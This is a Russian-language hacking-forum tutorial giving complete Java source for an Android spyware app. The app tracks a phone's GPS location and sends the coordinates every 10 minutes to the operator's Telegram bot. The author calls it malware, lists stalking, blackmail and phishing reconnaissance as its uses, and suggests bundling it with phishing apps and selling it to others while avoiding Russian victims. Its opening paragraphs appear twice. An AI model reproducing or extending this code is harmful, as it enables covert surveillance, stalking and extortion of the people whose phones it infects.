Всем привет, в этой статье я продолжу цепочку написания точных туториалов по созданию простого но полезного софтов на платформе Android. Как всегда писать буду на языке программирования java так как он является нативным для android и с помощью Android Studio. Для совсем зелены (Те кто разбираются могут пропустить):
Нативный язык - язык программирования который предустановлен на платформе по которой мы работаем. Почему это важно? Это сделано чтоб нам было достаточно запустить код без нужды дополнительно установки целого языка на устройство.
К сути. В данной статье я расскажу про принцип работы а главное покажу и полность розжую код простого автоматического GPS трекера.
Основная часть:
Прежде чем объяснять как создать GPS трекер надо понять зачем нам это надо
GPS трекер можно использовать в разных целях, например:
Внимание: Половина методов применения носит назначение при котором вы знаете жертву, то есть работаете по своему региону. А мы участники .is такое осуждаем ведь “Кто работает по ру к тем приходят по утру”. Поэтому они подходят только в целях для продажи людям вне нашего региона.
С метод применения разобрались но остаётся аспект что сами по себе они довольно бесполезны так-как закидывать целый файл ради одной слежки за телефон даже немного глупо. По-этому я советую вам использовать мои труды роботы как дополнения к более полезным функциям в качестве вишенки на торте. как пример могу привести функционал показанный в моих более ранних статьях или в качестве склейки с фишинговым программам.
Создание:
Создание каждого приложения на Android Studio можно разделить на такие пункты:
Каждому Android приложению которое делают хоть что-то вне базы
требую разрешения. И для нас как для разработчиков Malware софта это очень плохо так как с каждой новой версией рамки сжимают. Например для некоторый разрешений больше не достаточно просто нажать кнопку “Разрешить” надо заходить в настройки и выдавать отдельную. галочку. Не удивлюсь если в 2050 тебе будет звонить сотрудник MicroSoft по видеосвязи и попросит устное разрешение. Но нам повезло ведь для получения гео локации пока достаточно нажать одну кнопку. Пример оставил на фото:
Как и выдать?
Для их выдачи надо прописать разрешения в файле Manifest.xml перед application.
Код:
XML: Скопировать в буфер обмена
На подчёркивание в 5й строке не обрушайте внимание так-как на работо способность это не влияет.
Эти два разрешения это все которые нам нужны.
код:
Java: Скопировать в буфер обмена
Этот код сначала проверяет, предоставлено ли разрешение. Если нет, то приложение запрашивает его у пользователя. Эта часть выполняется в методе checkLocationPermission().
Добавление зависимостей
Далее вам надо будет зайти в файл build.gradle.kts это файл в Android-проекте используется для настройки сборки проекта и управления зависимостями с помощью Kotlin DSL (Domain Specific Language). Существует два файла build.gradle.kts в каждом проекте Android: один для проекта в целом (находится в корневом каталоге) и один для каждого модуля (например, app/build.gradle.kts).
Нам нужен app/build.gradle.kts .
В нём вам надо найти dependencies (зависимости) в Android-проекте — это внешние библиотеки, модули или файлы, которые проект использует для выполнения различных задач. Эти зависимости подключаются через систему сборки Gradle. Зависимости позволяют избежать дублирования кода, экономить время разработки и улучшать производительность, используя уже готовые решения для типичных задач.
Так вот, внутрь dependencies надо вписать:
Код: Скопировать в буфер обмена
чтоб добавить эти внешние библиотеки к нам в проект.
Теперь перейдём импортам:
Java: Скопировать в буфер обмена
Тут указаны все импорты которые использует приложение.
Далее создадим основные переменные для настроек проекта:
Java: Скопировать в буфер обмена
В ним мы указываем:
Настройка обновлений местоположения
Для получения GPS-данных, мы используем FusedLocationProviderClient который предоставляет API для получения и отслеживания место положения.
код:
Java: Скопировать в буфер обмена
Обработка данных о местоположении
LocationCallback отвечает за обработку данных, полученных при изменении местоположения, и вызывает метод sendLocationToTelegram() для отправки данных.
Код:
Java: Скопировать в буфер обмена
Отправка данных в Telegram
Метод sendLocationToTelegram() формирует HTTP-запрос к Telegram API с использованием библиотеки OkHttp.
Код:
Java: Скопировать в буфер обмена
Запуск периодического обновления местоположения
Чтобы отправлять местоположение каждые 10 минут, используется Handler и Runnable, которые позволяют запустить функцию отправки с установленной задержкой.
Код:
Java: Скопировать в буфер обмена
Полный процесс работы
Важные моменты:
Про код вроде всё рассказал. Теперь перейдём к результату.
Если вы заделали всё правильно то в конечно результате вы будете получать каждые 10 мин(Или столько сколько вы указали в переменой) сообщения в автоматическом режиме от телеграмм бота.
Они будет выглядеть так:
На месте замазоного у вас после двоеточия будет 17 цифр разделённых 2 точками и 1 запятой. Но как с них достать кординаты?
Вы просто берёте эти цифры и вбиваете их в поиск google maps или других веб карт, после чего получаете максимально возможно гео точку с место нахождение телефона.
результат:
полный код:
Java: Скопировать в буфер обмена
Нативный язык - язык программирования который предустановлен на платформе по которой мы работаем. Почему это важно? Это сделано чтоб нам было достаточно запустить код без нужды дополнительно установки целого языка на устройство.
К сути. В данной статье я расскажу про принцип работы а главное покажу и полность розжую код простого автоматического GPS трекера.
Основная часть:
Прежде чем объяснять как создать GPS трекер надо понять зачем нам это надо
GPS трекер можно использовать в разных целях, например:
- Отслеживание местоположения: Основная цель — узнать, где находится жертва в режиме реального времени. Это может быть полезно в случае шантажа, преследования, или для сбора компрометирующей информации о человеке.
- Слежка за передвижениями: с помощью софта трекера можно анализировать маршруты и повседневные передвижения жертвы, чтобы понять её привычки, распорядок дня, посещаемые места.
- Контроль за контактами: Отслеживание местоположения позволяет узнать, с кем встречается жертва, особенно если они следят за определенными людьми или местами.
- Сбор информации для взлома: Местоположение и информация о маршрутах жертвы могут помочь в определении её дома, работы и других личных данных, что может быть полезно для более широких атак, например, фишинга, социального инжиниринга и других видов взлома.
- Использование данных для шантажа: Если вы узнаете личные данные жертвы, то сможете использовать их для шантажа или угроз, особенно если жертва скрывает свою активность или местоположение от других людей.
Внимание: Половина методов применения носит назначение при котором вы знаете жертву, то есть работаете по своему региону. А мы участники .is такое осуждаем ведь “Кто работает по ру к тем приходят по утру”. Поэтому они подходят только в целях для продажи людям вне нашего региона.
С метод применения разобрались но остаётся аспект что сами по себе они довольно бесполезны так-как закидывать целый файл ради одной слежки за телефон даже немного глупо. По-этому я советую вам использовать мои труды роботы как дополнения к более полезным функциям в качестве вишенки на торте. как пример могу привести функционал показанный в моих более ранних статьях или в качестве склейки с фишинговым программам.
Создание:
Создание каждого приложения на Android Studio можно разделить на такие пункты:
- Выдача Разрешений
- подбор API, фреймворков
- Написание основного Activity
Каждому Android приложению которое делают хоть что-то вне базы
требую разрешения. И для нас как для разработчиков Malware софта это очень плохо так как с каждой новой версией рамки сжимают. Например для некоторый разрешений больше не достаточно просто нажать кнопку “Разрешить” надо заходить в настройки и выдавать отдельную. галочку. Не удивлюсь если в 2050 тебе будет звонить сотрудник MicroSoft по видеосвязи и попросит устное разрешение. Но нам повезло ведь для получения гео локации пока достаточно нажать одну кнопку. Пример оставил на фото:
Как и выдать?
Для их выдачи надо прописать разрешения в файле Manifest.xml перед application.
Код:
XML: Скопировать в буфер обмена
Code:
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.INTERNET"/>
На подчёркивание в 5й строке не обрушайте внимание так-как на работо способность это не влияет.
Эти два разрешения это все которые нам нужны.
- ACCESS_FINE_LOCATION - именно то разрешение которое даёт нам доступ к геолокации жертвы.
- INTERNET - базовое разрешение которое не требует подтверждение от пользователя и просто даёт доступ приложению к функция интернета.
код:
Java: Скопировать в буфер обмена
Code:
private void checkLocationPermission() {
if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.ACCESS_FINE_LOCATION}, LOCATION_PERMISSION_REQUEST_CODE);
} else {
startLocationUpdates();
}
}
Этот код сначала проверяет, предоставлено ли разрешение. Если нет, то приложение запрашивает его у пользователя. Эта часть выполняется в методе checkLocationPermission().
- ContextCompat.checkSelfPermission — проверяет, есть ли разрешение.
- ActivityCompat.requestPermissions — если разрешение не предоставлено, оно запрашивается у пользователя.
Добавление зависимостей
Далее вам надо будет зайти в файл build.gradle.kts это файл в Android-проекте используется для настройки сборки проекта и управления зависимостями с помощью Kotlin DSL (Domain Specific Language). Существует два файла build.gradle.kts в каждом проекте Android: один для проекта в целом (находится в корневом каталоге) и один для каждого модуля (например, app/build.gradle.kts).
Нам нужен app/build.gradle.kts .
В нём вам надо найти dependencies (зависимости) в Android-проекте — это внешние библиотеки, модули или файлы, которые проект использует для выполнения различных задач. Эти зависимости подключаются через систему сборки Gradle. Зависимости позволяют избежать дублирования кода, экономить время разработки и улучшать производительность, используя уже готовые решения для типичных задач.
Так вот, внутрь dependencies надо вписать:
Код: Скопировать в буфер обмена
Code:
implementation ("com.google.android.gms:play-services-location:21.0.1")
implementation ("com.squareup.okhttp3:okhttp:4.9.3")
чтоб добавить эти внешние библиотеки к нам в проект.
- com.google.android.gmslay-services-location:21.0.1 — это зависимость, которая относится к библиотекам Google Play Services и предназначена для работы с функциями местоположения на Android. Она предоставляет разработчикам доступ к API, позволяющим получать данные о местоположении устройства, управлять обновлениями местоположения и работать с геолокацией.
- com.squareup.okhttp3khttp:4.9.3 — это зависимость для библиотеки OkHttp, которая представляет собой популярный HTTP-клиент для Java и Android, разработанный компанией Square. Эта библиотека используется для выполнения сетевых запросов, обработки ответов и управления соединениями.
- Поддержка HTTP/2: OkHttp автоматически использует HTTP/2 для многопоточной передачи, что может существенно повысить производительность и снизить задержки.
- Кэширование: Библиотека поддерживает кэширование HTTP-запросов, что помогает снизить нагрузку на сеть и улучшить скорость загрузки данных.
- Поддержка WebSocket: OkHttp предоставляет поддержку WebSocket для двухсторонней связи в реальном времени.
- Поддержка перезапросов: Она может автоматически повторять неудачные запросы, что делает работу с нестабильными сетями более надежной.
- Простота использования: Библиотека имеет понятный API, что облегчает работу с HTTP-запросами.
Теперь перейдём импортам:
Java: Скопировать в буфер обмена
Code:
import android.Manifest;
import android.content.pm.PackageManager;
import android.location.Location;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import com.google.android.gms.location.FusedLocationProviderClient;
import com.google.android.gms.location.LocationCallback;
import com.google.android.gms.location.LocationRequest;
import com.google.android.gms.location.LocationResult;
import com.google.android.gms.location.LocationServices;
import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
Тут указаны все импорты которые использует приложение.
Далее создадим основные переменные для настроек проекта:
Java: Скопировать в буфер обмена
Code:
private static final String TELEGRAM_TOKEN = "Токен вашего бота";
private static final String CHAT_ID = "ваш Chat_id";
private static final int LOCATION_PERMISSION_REQUEST_CODE = 1;
private static final long INTERVAL_MS = 600000; // Интервал в 10 минут (600 000 мс)
В ним мы указываем:
- TELEGRAM_TOKEN - Токен вашего Телеграм бота
- CHAT_ID - Ваш Chat id по которому бот будет отправлять данные
- INTERVAL_MS - количество мили секунд через которое будет отправляется гео позиция, без этого будет спам несколько раз в секунду. Я поставлю 10 мин что ровно 600000 мс
Настройка обновлений местоположения
Для получения GPS-данных, мы используем FusedLocationProviderClient который предоставляет API для получения и отслеживания место положения.
код:
Java: Скопировать в буфер обмена
Code:
LocationRequest locationRequest = LocationRequest.create();
locationRequest.setPriority(LocationRequest.PRIORITY_HIGH_ACCURACY);
locationRequest.setInterval(INTERVAL_MS);
- LocationRequest.create() — создает объект запроса местоположения.
- setPriority(LocationRequest.PRIORITY_HIGH_ACCURACY) — задает высокую точность (по GPS).
- setInterval(INTERVAL_MS) — интервал получения обновлений местоположения (10 минут).
Обработка данных о местоположении
LocationCallback отвечает за обработку данных, полученных при изменении местоположения, и вызывает метод sendLocationToTelegram() для отправки данных.
Код:
Java: Скопировать в буфер обмена
Code:
locationCallback = new LocationCallback() {
@Override
public void onLocationResult(LocationResult locationResult) {
if (locationResult == null) {
return;
}
for (Location location : locationResult.getLocations()) { // was made by zebra0_0 for .is
if (location != null) {
double latitude = location.getLatitude();
double longitude = location.getLongitude();
sendLocationToTelegram(latitude, longitude);
}
}
}
};
- LocationResult.getLocations() — возвращает список последних координат.
- getLatitude() и getLongitude() — извлекают широту и долготу из объекта Location.
Отправка данных в Telegram
Метод sendLocationToTelegram() формирует HTTP-запрос к Telegram API с использованием библиотеки OkHttp.
Код:
Java: Скопировать в буфер обмена
Code:
private void sendLocationToTelegram(double latitude, double longitude) {
String message = "Current Location: " + latitude + ", " + longitude;
String url = "https://api.telegram.org/bot" + TELEGRAM_TOKEN
+ "/sendMessage?chat_id=" + CHAT_ID
+ "&text=" + message;
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(url).build();
client.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(@NonNull Call call, @NonNull IOException e) {
e.printStackTrace();
}
@Override
public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException {
if (response.isSuccessful()) {
System.out.println("Location sent successfully"); // was made by zebra0_0 for .is
} else {
System.out.println("Error sending location: " + response.message());
}
}
});
}
- OkHttpClient — создает HTTP-клиент для отправки запроса.
- URL — формируется с токеном бота, ID чата и текстом сообщения.
- newCall().enqueue() — отправляет запрос в отдельном потоке, обрабатывая ответ через интерфейсы onFailure и onResponse.
Запуск периодического обновления местоположения
Чтобы отправлять местоположение каждые 10 минут, используется Handler и Runnable, которые позволяют запустить функцию отправки с установленной задержкой.
Код:
Java: Скопировать в буфер обмена
Code:
locationRunnable = new Runnable() {
@Override
public void run() {
if (ActivityCompat.checkSelfPermission(MainActivity.this, Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED) {
fusedLocationClient.requestLocationUpdates(locationRequest, locationCallback, null);
}
handler.postDelayed(this, INTERVAL_MS); // Повторяем через 10 минут
}
};
handler.post(locationRunnable); // Запускаем Runnable
- Runnable — в блоке кода вызывается requestLocationUpdates() каждые 10 минут.
- handler.postDelayed() — устанавливает отложенный запуск для выполнения Runnable.
Полный процесс работы
- Приложение запрашивает разрешение на доступ к GPS.
- После получения разрешения начинается обновление местоположения.
- Каждые 10 минут приложение получает координаты.
- Местоположение отправляется в Telegram через HTTP-запрос.
Важные моменты:
- Убедитесь, что у бота Telegram есть разрешение на отправку сообщений в чат (при необходи мости добавьте бота в чат).
- Проверьте, что устройство подключено к интернету, иначе отправка данных не произойдет.
Про код вроде всё рассказал. Теперь перейдём к результату.
Если вы заделали всё правильно то в конечно результате вы будете получать каждые 10 мин(Или столько сколько вы указали в переменой) сообщения в автоматическом режиме от телеграмм бота.
Они будет выглядеть так:
На месте замазоного у вас после двоеточия будет 17 цифр разделённых 2 точками и 1 запятой. Но как с них достать кординаты?
Вы просто берёте эти цифры и вбиваете их в поиск google maps или других веб карт, после чего получаете максимально возможно гео точку с место нахождение телефона.
результат:
полный код:
Java: Скопировать в буфер обмена
Code:
package com.example.gps;
import android.Manifest;
import android.content.pm.PackageManager;
import android.location.Location;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import com.google.android.gms.location.FusedLocationProviderClient;
import com.google.android.gms.location.LocationCallback;
import com.google.android.gms.location.LocationRequest;
import com.google.android.gms.location.LocationResult;
import com.google.android.gms.location.LocationServices;
import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
public class MainActivity extends AppCompatActivity {
private static final String TELEGRAM_TOKEN = "Your telgrem bot TOKEN";
private static final String CHAT_ID = "Your Chad id";
private static final int LOCATION_PERMISSION_REQUEST_CODE = 1;
private static final long INTERVAL_MS = 600000; // Интервал в 10 минут (600 000 мс) // was made by zebra0_0 for .is
private FusedLocationProviderClient fusedLocationClient;
private LocationCallback locationCallback;
private Handler handler;
private Runnable locationRunnable;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
fusedLocationClient = LocationServices.getFusedLocationProviderClient(this);
handler = new Handler(Looper.getMainLooper());
// Проверка и запрос разрешений
checkLocationPermission(); // was made by zebra0_0 for .is
}
private void checkLocationPermission() {
if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION)
!= PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.ACCESS_FINE_LOCATION}, LOCATION_PERMISSION_REQUEST_CODE);
} else {
startLocationUpdates();
}
}
private void startLocationUpdates() {
// Создаем запрос на обновление местоположения
LocationRequest locationRequest = LocationRequest.create();
locationRequest.setPriority(LocationRequest.PRIORITY_HIGH_ACCURACY);
locationRequest.setInterval(INTERVAL_MS); // Интервал обновления местоположения в мс
locationCallback = new LocationCallback() {
@Override
public void onLocationResult(LocationResult locationResult) {
if (locationResult == null) {
return;
}
for (Location location : locationResult.getLocations()) {
if (location != null) {
double latitude = location.getLatitude();
double longitude = location.getLongitude();
sendLocationToTelegram(latitude, longitude);
}
}
}
};
// Запускаем цикл отправки каждые 10 минут
locationRunnable = new Runnable() {
@Override
public void run() {
if (ActivityCompat.checkSelfPermission(MainActivity.this, Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED) {
fusedLocationClient.requestLocationUpdates(locationRequest, locationCallback, null);
}
handler.postDelayed(this, INTERVAL_MS); // Повторяем через 10 минут
}
};
handler.post(locationRunnable); // Запускаем Runnable
}
private void sendLocationToTelegram(double latitude, double longitude) {
String message = "Current Location: " + latitude + ", " + longitude;
String url = "https://api.telegram.org/bot" + TELEGRAM_TOKEN
+ "/sendMessage?chat_id=" + CHAT_ID
+ "&text=" + message;
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(url).build();
client.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(@NonNull Call call, @NonNull IOException e) {
e.printStackTrace();
}
@Override
public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException {
if (response.isSuccessful()) {
System.out.println("Location sent successfully"); // was made by zebra0_0 for .is
} else {
System.out.println("Error sending location: " + response.message());
}
}
});
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == LOCATION_PERMISSION_REQUEST_CODE) {
if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
startLocationUpdates();
} else {
// Действия, если пользователь отказал в разрешении
System.out.println("Permission denied");
}
}
}
@Override
protected void onDestroy() {
super.onDestroy();
if (locationRunnable != null) {
handler.removeCallbacks(locationRunnable); // Остановка цикла отправки
}
fusedLocationClient.removeLocationUpdates(locationCallback); // was made by zebra0_0 for .is
}
}